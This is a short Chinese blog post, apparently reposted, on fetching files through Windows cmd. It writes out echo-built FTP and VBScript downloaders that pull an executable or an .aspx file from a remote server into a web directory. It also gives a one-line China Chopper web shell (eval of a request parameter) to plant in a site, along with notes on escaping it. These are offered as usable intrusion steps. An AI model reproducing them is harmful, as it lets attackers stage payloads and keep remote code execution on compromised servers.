cmd命令下下载

对于较大文件,用echo命令一行一行导出太麻烦了,以下提供两种方法

注”后面的汉字要去掉

 

第一种,通过FTP服务器下载:

echo open IP>d:\ftp.txt
echo 用户名>>d:\ftp.txt
echo 密码>>d:\ftp.txt
echo lcd d:\>>d:\ftp.txt                          注:lcd设定下载到的目录
echo get 1.exe>>d:\ftp.txt                     注:下载ftp服务器的文件
echo bye>>d:\ftp.txt
ftp -s:d:\ftp.txt
del d:\ftp.txt

 

 

第二种,通过vbs脚本下载http链接文件:

 

echo Set xPost = CreateObject("Microsoft.XMLHTTP") >d:\webdown.vbs 
echo xPost.Open "GET",http://,0 >>d:\webdown.vbs    注:http://改为自己的下载地址
echo xPost.Send() >>d:\webdown.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>d:\webdown.vbs
echo sGet.Mode = 3 >>d:\webdown.vbs
echo sGet.Type = 1 >>d:\webdown.vbs
echo sGet.Open() >>d:\webdown.vbs
echo sGet.Write(xPost.responseBody) >>d:\webdown.vbs
echo sGet.SaveToFile "d:\web1\asp\1.aspx",2 >>d:\webdown.vbs    注:d:\web1\asp\1.aspx改为自己的下载目录
cscript d:\webdown.vbs

del d:\webdown.vbs

 

 

 

 

附上linux系统与windows系统echo命令的一点差别:

windows:

echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^>>>e:\web1\asp\1.aspx

linux:

echo "<%@ page language=\"java\" pageEncoding=\"gbk\"%>">>123.jsp

通过比较我们可以看出两者的转义符是不一样的,windows需要对<和>用 ^符号来转义。

linux只需对 "用\符号转义即可,希望这点区别对大家有帮助。

转载于:https://my.oschina.net/googlewell/blog/857477

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值